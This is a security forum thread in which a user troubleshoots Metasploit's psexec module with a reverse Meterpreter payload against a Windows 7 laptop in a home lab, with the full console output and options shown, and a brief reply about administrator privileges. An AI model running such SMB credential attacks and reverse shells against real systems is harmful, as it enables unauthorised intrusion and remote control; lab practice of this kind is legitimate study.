Unable to fully execute "psexec" on Win7 target

[GabrielOSB]

I've been playing around with the "exploit/windows/smb/psexec" in metasploit with a reverse meterpreter as my payload. I've been able to sucessfully execute this "exploit" on VMware XP and Vista boxes with no problems; however, when I attempt this on two separate laptops (Attacker: BT4 R2 & Target: Win7 ), I am unable to get a session. UAC is disabled and my Win7 user is running as an administrator. I set up both computers myself side-by-side so I know the credentials are correct, but I receive the following output:

msf exploit(psexec) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.10:8443/
[*] Connecting to the server...
[*] Authenticating to 192.168.1.2:445|WORKGROUP as user 'TEST_USER'...
[*] Uploading payload...
[*] Created \xaFTFQQZ.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.2[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.2[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LIxwwLpb - "MGUIXQycc")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \xaFTFQQZ.exe...
[*] Exploit completed, but no session was created.

Here are my options:

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      192.168.1.2      yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBPass    password         no        The password for the specified username
   SMBUser    TEST_USER        no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     192.168.1.10     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Any thoughts?

*Edit: The output shows " HTTPS reverse handler" instead of reverse_tcp as in options because I tried switching payloads (to no avail). The result is the same.

[voidnecron]

Even with UAC disabled and the user being admin you still need to do 'Run as Administrator' to do certain things, ie: if you start a command prompt normally you wouldnt be able to run netsh, since this requieres higher privs.
If you run the command prompt with "Run as Administrator" you would be able to do so.